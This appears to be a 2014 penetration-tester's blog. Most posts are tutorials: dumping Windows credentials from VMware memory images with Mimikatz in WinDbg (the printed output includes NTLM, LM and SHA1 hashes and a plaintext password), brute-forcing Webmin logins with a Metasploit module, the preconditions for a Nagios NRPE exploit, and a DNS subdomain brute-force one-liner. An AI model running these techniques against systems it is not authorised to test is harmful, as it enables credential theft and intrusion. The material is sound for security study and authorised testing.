Friday, June 13, 2014

Mimikatz Against Virtual Machine Memory Part 2

Short update to talk about mostly performing the actions from Part 1 on Windows 8+ and Windows Server 2012


First issue was symbols in windbg. Most importantly, NO symbols for windbg. I found this article that lets you remotely download them:

http://support.microsoft.com/kb/311503

.sympath SRV*f:\localsymbols*http://msdl.microsoft.com/download/symbols



0: kd> .sympath SRV*f:\localsymbols*http://msdl.microsoft.com/download/symbols
Symbol search path is: SRV*f:\localsymbols*http://msdl.microsoft.com/download/symbols
Expanded Symbol search path is: srv*f:\localsymbols*http://msdl.microsoft.com/download/symbols
0: kd> .reload
Loading Kernel Symbols
...............................................................
................................................................
..............
Loading User Symbols

Loading unloaded module list
.........


Second issue was creating the dmp file. I tried volatility's imagecopy and The Windows Memory Toolkit. Neither produced a dump file that would work with windbg for Windows 8 or Windows 2012. What did work was VMWare's vmss2core utility.

Note for VMware workstation/fusion you need to pass it the .vmsn and .vmem files (shown above)

For VMware ESXi i just needed to pass the .vmsn file

The rest follows the same flow as the previous post

1.  Load the memory.dmp file vmss2core created

2. Fix your symbols (shown above)

3. Load the mimilib.dll file

kd> .load C:\users\user\desktop\mimilib.dll

4. Find the lsass process

kd> !process 0 0 lsass.exe
PROCESS ffffe00112f08080
    SessionId: 0  Cid: 01e8    Peb: 7ff623aac000  ParentCid: 0194
    DirBase: 06291000  ObjectTable: ffffc001f8f0c400  HandleCount:
    Image: lsass.exe


5. Switch to that process

kd> .process /r /p ffffe00112f08080
Implicit process is now ffffe001`12f08080
Loading User Symbols
................................................................



6. Run Mimikatz

kd> !mimikatz


7. Drink Beers

Friday, May 30, 2014

Mimikatz Against Virtual Machine Memory Part 1

Pentesting is a funny thing. Someone will drop some new way of doing something and then you get to reflect on all those missed opportunities on previous engagements. I remember when MC showed me all the Oracle stuff and I reminisced about the missed shells.

This post and part 2 is like that for me. I can't count the number of times i've had access to the folder full of an organization's virtual machines. I knew you could download the raw disk (vmdk) and use tools like volatility on them to carve out useful pieces of the file system but not memory.

While doing some research on vCenter/ESXi I  came across a couple of blog posts on the subject:

http://www.remkoweijnen.nl/blog/2013/11/25/dumping-passwords-in-a-vmware-vmem-file/
http://blog.gentilkiwi.com/securite/mimikatz/windbg-extension
http://vniklas.djungeln.se/2013/11/29/password-dump-from-a-hyper-v-virtual-machines-memory/

This of course sent me down the rabbit hole to see if I could do it.

Remko's post mentions you need a few things:

The Windows debugging tools:
http://www.remkoweijnen.nl/blog/2013/06/13/debugging-tools-for-windows-direct-download/
http://blog.gentilkiwi.com/programmes/windbg

The Windows Memory Toolkit
http://www.moonsols.com/windows-memory-toolkit/

Current mimikatz that supports the windbg magic
https://github.com/gentilkiwi/mimikatz

Gotcha #1: The free version of Windows Memory Toolkit limits OS and architecture you can do this on.  Restrictions are 32bit  up to Windows Server 2008.

The process:

#1 Copy the vmem/vmsn from the remote host

#2 Use moonsols bin2dmp to convert it into a dmp file. (I'm using the for pay version below)

C:\Users\user\Desktop>Bin2Dmp.exe "Windows Server 2008 x64-b2afd86a.vmem" win2k8.dmp

  bin2dmp - v2.1.0.20140115
  Convert raw memory dump images into Microsoft crash dump files.
  Copyright (C) 2007 - 2014, Matthieu Suiche
  Copyright (C) 2012 - 2014, MoonSols Limited

Initializing memory descriptors... Done.
Directory Table Base is 0x124000
Looking for Kernel Base...
Looking for kernel variables... Done.
Loading file... Done.
nt!KiProcessorBlock.Prcb.Context = 0xFFFFF80001B797A0

stuff happens
   [0x0000000040000000 of 0x0000000040000000]    [0x000000001DAFE000 of 0x000000
   MD5 = E8C2F318FA528285281C21B3141E7C51

Total time for the conversion: 0 minutes 14 seconds.


you should now have a .dmp file you can load into windbg

#3 Load the dmp file into windbg




Gotcha #2: You may have to run .symfix and .reload

kd> .symfix
kd> .reload
Loading Kernel Symbols
...............................................................
................................................................
.....
Loading User Symbols

Loading unloaded module list
....


#4 Load the mimilib.dll file

kd> .load C:\users\user\desktop\mimilib.dll

  .#####.   mimikatz 2.0 alpha (x64) release "Kiwi en C" (May 25 2014 21:48:13)
 .## ^ ##.  Windows build 6002
 ## / \ ##  /* * *
 ## \ / ##   Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
 '## v ##'   http://blog.gentilkiwi.com/mimikatz             (oe.eo)
  '#####'                                  WinDBG extension ! * * */

===================================
#         * Kernel mode *         #
===================================
# Search for LSASS process
0: kd> !process 0 0 lsass.exe
# Then switch to its context
0: kd> .process /r /p
# And finally :
0: kd> !mimikatz
===================================
#          * User mode *          #
===================================
0:000> !mimikatz
===================================

The tool output will walk you through the rest

#5 Find the lsass process
kd> !process 0 0 lsass.exe
PROCESS fffffa800dba26d0
    SessionId: 0  Cid: 023c    Peb: 7fffffd4000  ParentCid: 01e4
    DirBase: 2e89f000  ObjectTable: fffff880056562c0  HandleCount: 1092.
    Image: lsass.exe


#6 switch to the lsass context fffffa800dba26d0 in this case

kd> .process /r /p fffffa800dba26d0
Implicit process is now fffffa80`0dba26d0
Loading User Symbols
................................................................
......................

#7 Load mimikatz
kd> !mimikatz

Authentication Id : 0 ; 996 (00000000:000003e4)
Session           : Service from 0
User Name         : WIN-3C4WXGGN8QE$
Domain            : UNLUCKYCOMPANY
SID               : S-1-5-20
msv :
[00000002] Primary
* Username : WIN-3C4WXGGN8QE$
* Domain   : UNLUCKYCOMPANY
* NTLM     : ea2ed0b14406a168791adf5aee78fd0b
* SHA1     : ab7bd2f6a64cf857c9d69dd65916622e3dc25424
tspkg : KO
---SNIP---

Authentication Id : 0 ; 173319 (00000000:0002a507)
Session           : Interactive from 1
User Name         : Administrator
Domain            : UNLUCKYCOMPANY
SID               : S-1-5-21-2086621178-2413078777-1398328459-500
msv :
[00000002] Primary
* Username : Administrator
* Domain   : UNLUCKYCOMPANY
* LM       : e52cac67419a9a2238f10713b629b565
* NTLM     : 64f12cddaa88057e06a81b54e73b949b
* SHA1     : cba4e545b7ec918129725154b29f055e4cd5aea8
tspkg :
* Username : Administrator
* Domain   : UNLUCKYCOMPANY
* Password : Password1
wdigest :
* Username : Administrator
* Domain   : UNLUCKYCOMPANY
* Password : Password1
kerberos :
* Username : Administrator
* Domain   : UNLUCKYCOMPANY.NET
* Password : Password1

* Key List
---SNIP---



There were a few other gotchas for Windows 8 and Windows 2012. I'll put that in part 2.

CG

Friday, May 23, 2014

Nagios and NPRE

Just a note for me for later as other blogs have been tending to disappear lately and so I don't get unduly excited when I see a nagios NRPE exploit/bug as there are a few obstacles to overcome.

Very detailed writeup for my summarized notes below:
https://www.cryptobells.com/zomg-remote-shell-exploit-or-not/

Nagios NRPE has now had at least two separate issues.

for less than 2.14 there is a metasploit module:
http://www.rapid7.com/db/modules/exploit/linux/misc/nagios_nrpe_arguments

for 2.15 and below there is a newer exploit that came out in April 2014 here:
http://www.exploit-db.com/exploits/32925

as of 23 May 2014 this is unpatched.

stuff to remember on nagios:

Obstacle #1. You have to configure the host running the NRPE daemon to talk to a nagios server, your requests to try to exploit the client running NPRE must come from one of the hosted specfiically listed in the nrpe.config. The default is local host only. If you aren't on the list, the application will forcefully disconnect your connection. You can test this by telnetting to the host on 5666.

Obstacle #2. The NRPE daemon must be configured with the dont_blame_nrpe to 1. This is not the default setting. However, if people are using the daemon I've seen this set, otherwise I don't think anyone would be able to interact with it remotely, thus to use NRPE you have to enable it. Please correct me if i'm wrong.

Obstacle #3. You have to enable commands. However, it looks like pretty much any commands that take arguments is vulnerable.

Attack Path:
If you can gain access to any server that is allowed to access the hosts running NRPE (typically the nagios monitoring servers) and you can run the various nrpe plugins you can potentially gain access to the monitored hosts.


As always if i'm way off  or there are other tricks please let me know via twitter or here in the comments and i'll update the post.

-CG


Tuesday, March 25, 2014

DNS Brute String

just sticking this here so i can find it later. thanks @mubix

cat hosts.txt | xargs -t -I subdomain dig +noall subdomain.THEDOMAIN.com +answer

update, rob pointed me to his post on it

http://www.room362.com/blog/2014/01/29/hostname-bruteforcing-on-the-cheap/

Wednesday, March 12, 2014

Webmin Brute Forcing

So i ran across a bunch of webmin boxes on a pentest. I went to just go try http_login or some other spiffy Metasploit auxiliary module but nothing was working quite right. I ended up needing to write my own because i had about 60+ hosts to check and that just tedious enough to make you write code and not manually do it.

At least one gotcha i discovered is that webmin will block the IP after four or five (usually 5) attempts.  I believe the default is 300 seconds it will also supposedly increase the delay if the same host keeps hitting it.

I took the approach to throw 5 passwords at it, if its not something super obvious then i'd move along. maybe not the best solution but i wanted to make sure it wasn't root/root or webmin/webmin and move on.

msf auxiliary(webmin_login_brute) > set RHOSTS 192.168.1.1
RHOSTS => 192.168.1.1
smsf auxiliary(webmin_login_brute) > set RPORT 10000
RPORT => 10000
smsf auxiliary(webmin_login_brute) > set SSL TRUE
SSL => TRUE
msf auxiliary(webmin_login_brute) > set BLANK_PASSWORDS false

BLANK_PASSWORDS => false
setmsf auxiliary(webmin_login_brute) > set USER_AS_PASS false
USER_AS_PASS => false
set msf auxiliary(webmin_login_brute) > set USERNAME root
USERNAME => root
msf auxiliary(webmin_login_brute) > set PASS_FILE /root/.msf4/data/wordlists/webmin_defaults.txt

PASS_FILE => /root/.msf4/data/wordlists/webmin_defaults.txt
msf auxiliary(webmin_login_brute) > run

[*] Verifying login exists at http://192.168.1.1:10000/session_login.cgi
[*] http://192.168.1.1:10000/session_login.cgi - Webmin - Attempting authentication
[*] 192.168.1.1:10000 WEBMIN - [1/6] - /session_login.cgi - Webmin - Trying username:'root' with password:''
[-] 192.168.1.1:10000 WEBMIN - [1/6] - /session_login.cgi - Webmin - LOGIN FAILED username:'root' with password:''
[*] 192.168.1.1:10000 WEBMIN - [2/6] - /session_login.cgi - Webmin - Trying username:'root' with password:'root' 
[-] 192.168.1.1:10000 WEBMIN - [2/6] - /session_login.cgi - Webmin - LOGIN FAILED username:'root' with password:'root'
[*] 192.168.1.1:10000 WEBMIN - [3/6] - /session_login.cgi - Webmin - Trying username:'root' with password:'webmin'
[-] 192.168.1.1:10000 WEBMIN - [3/6] - /session_login.cgi - Webmin - LOGIN FAILED username:'root' with password:'webmin'
[*] 192.168.1.1:10000 WEBMIN - [4/6] - /session_login.cgi - Webmin - Trying username:'root' with password:'password'

[-] 192.168.1.1:10000 WEBMIN - [4/6] - /session_login.cgi - Webmin - LOGIN FAILED username:'root' with password:'password'
[*] 192.168.1.1:10000 WEBMIN - [5/6] - /session_login.cgi - Webmin - Trying username:'root' with password:'letmein'
[-] 192.168.1.1:10000 WEBMIN - [5/6] - /session_login.cgi 403 - Webmin - We got blocked
[*] 192.168.1.1:10000 WEBMIN - [6/6] - /session_login.cgi - Webmin - Trying username:'root' with password:'password1'
[-] 192.168.1.1:10000 WEBMIN - [6/6] - /session_login.cgi 403 - Webmin - We got blocked
[*] Scanned 1 of 1 hosts (100% complete)


and looks like this when it works

[*] Verifying login exists at http://10.0.0.25:12321/session_login.cgi
[*] http://10.0.0.25:12321/session_login.cgi - Webmin - Attempting authentication
[*] 10.0.0.25:12321 WEBMIN - [1/6] - /session_login.cgi - Webmin - Trying username:'root' with password:''
[-] 10.0.0.25:12321 WEBMIN - [1/6] - /session_login.cgi - Webmin - LOGIN FAILED username:'root' with password:''
[*] 10.0.0.25:12321 WEBMIN - [2/6] - /session_login.cgi - Webmin - Trying username:'root' with password:'root'
[-] 10.0.0.25:12321 WEBMIN - [2/6] - /session_login.cgi - Webmin - LOGIN FAILED username:'root' with password:'root'
[*] 10.0.0.25:12321 WEBMIN - [3/6] - /session_login.cgi - Webmin - Trying username:'root' with password:'webmin'
[-] 10.0.0.25:12321 WEBMIN - [3/6] - /session_login.cgi - Webmin - LOGIN FAILED username:'root' with password:'webmin'
[*] 10.0.0.25:12321 WEBMIN - [4/6] - /session_login.cgi - Webmin - Trying username:'root' with password:'password'
[+] http://10.0.0.25:12321/session_login.cgi - Webmin - Login Successful 302 with 'root':'password' Redirect to->https://10.0.0.25:12321/
[*] 10.0.0.25:12321 WEBMIN - [5/6] - /session_login.cgi - Webmin - Trying username:'root' with password:'letmein'
[-] 10.0.0.25:12321 WEBMIN - [5/6] - /session_login.cgi - Webmin - LOGIN FAILED username:'root' with password:'letmein'
[*] 10.0.0.25:12321 WEBMIN - [6/6] - /session_login.cgi - Webmin - Trying username:'root' with password:'password1'
[-] 10.0.0.25:12321 WEBMIN - [6/6] - /session_login.cgi - Webmin - LOGIN FAILED username:'root' with password:'password1'
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed

** note you have to unset the PASSWORD value too, for some reason its populating with a blank password and trying that which sucks if you only have five chances.

Code is here
https://github.com/carnal0wnage/metasploit-framework/blob/webminmodule/modules/auxiliary/scanner/http/webmin_login.rb

figured i'd let the blog serve as way to let people test prior to doing a pull request.

CG

Thursday, February 20, 2014

Finding malicious DLLs with Volatility

Colin and I were working on an memory image the other day and needed to find DLLs loaded by svchost.exe. We turned to everyone's default memory analysis tool Volatility. Volatility doesn't really give you a good option to search for loaded dlls by process name. You can specify a pid to do this, but when you have many processes that have the same name (ie svchost.exe) you can end up with a nasty command like this to do the trick.




This really wasn't working for us so we took a look at Volatility's source code and made some small adjustments.  We modified the taskmods.py module that ultimately affects the dlllist module. Normally if you select dlllist plugin with the -h option it gives you various options you can use such as an offset or a pid as seen below:

With our modified taskmods.py you have a new option for adding a process by name or a list of processes by name as seen below:


Now we can simply give it the svchost.exe process by name and get a list of loaded DLL's by processes running by that name. If you have a non-standard svchost.exe process running then this will pick it up as well, but that situation might also help identify a compromise :)

So executing volatility with the following command
vol.py -f 7re-912d4ad7.vmem --profile Win7SP1x64 dlllist -n svchost.exe now gives an output of:




I am sure there are better ways at getting the same information, but this worked rather well for us and we thought we would share. You can get the module at our github repository.

To install it just replace the taskmods.py from your $VOLATILITYHOME/volatility/plugins directory with our taskmods.py.

We have tested it on volatility 2.2, 2.3, 2.3.1 on XP and Windows 7 with no problems.





Thursday, January 2, 2014

Modern Day Gold Mining

Well maybe not Gold...but Litecoins, hobonickels, dodgecoins, and other kinds of *coins*

We've all heard about Bitcoins (BTC) and all wish we had bought a few hundred 2 years ago so we could retire today but who knew...

We'll its too late to get in the bitcoin game due to the difficultiy of mining one being super high but thankfully 60+ alternate crypto currencies have sprung up and thanks to sites like www.cryptsy.com  you can now trade those alternate currencies for BTC.

want to know what to mine? you can check out http://www.coinwarz.com/cryptocurrency or http://www.coinarmy.com/

Punch in the numbers for your SHA256/scrypt cracking ability and get an idea what to mine to make the most $$$ the fastest. so if you can do 300 KH/s (average cheap GPU)


in 166 days you can make one Bitcoin (BTC) mining Netcoins and exchanging them at current rate where it would take more like 2000 days to make a Bitcoin.


OMG its raining money! sort of.

anyway its neat.  seems like a good reason to set up a build a hash cracker, write it off for security stuff, and have it mining when its not busy converting hashes into plaintext.


Couple articles on it:

http://motherboard.vice.com/blog/beyond-bitcoin-a-guide-to-the-most-promising-cryptocurrencies
http://www.zdnet.com/a-crypto-currency-primer-bitcoin-vs-litecoin-7000024301/
http://alunacrypto.blogspot.ca/2013/12/a-new-wave-of-2nd-generation.html

Solo Mining vs Pools
http://bitcoin.stackexchange.com/questions/11471/what-are-the-advantages-and-disadvantages-of-pooled-mining
http://www.devtome.com/doku.php?id=mining_pools_vs_solo_mining

Hardware comparison to get an idea what numbers to put into those crunchers.

https://litecoin.info/Mining_hardware_comparison

You can even buy a 6 graphic card motherboard for mining, stock trading or making everyone (well your geek homies) jealous



happy cracking/mining

P.S.
From a hacker shit perspective... i cant image the mining pool software is very good. its probably worth taking a look at it. :-)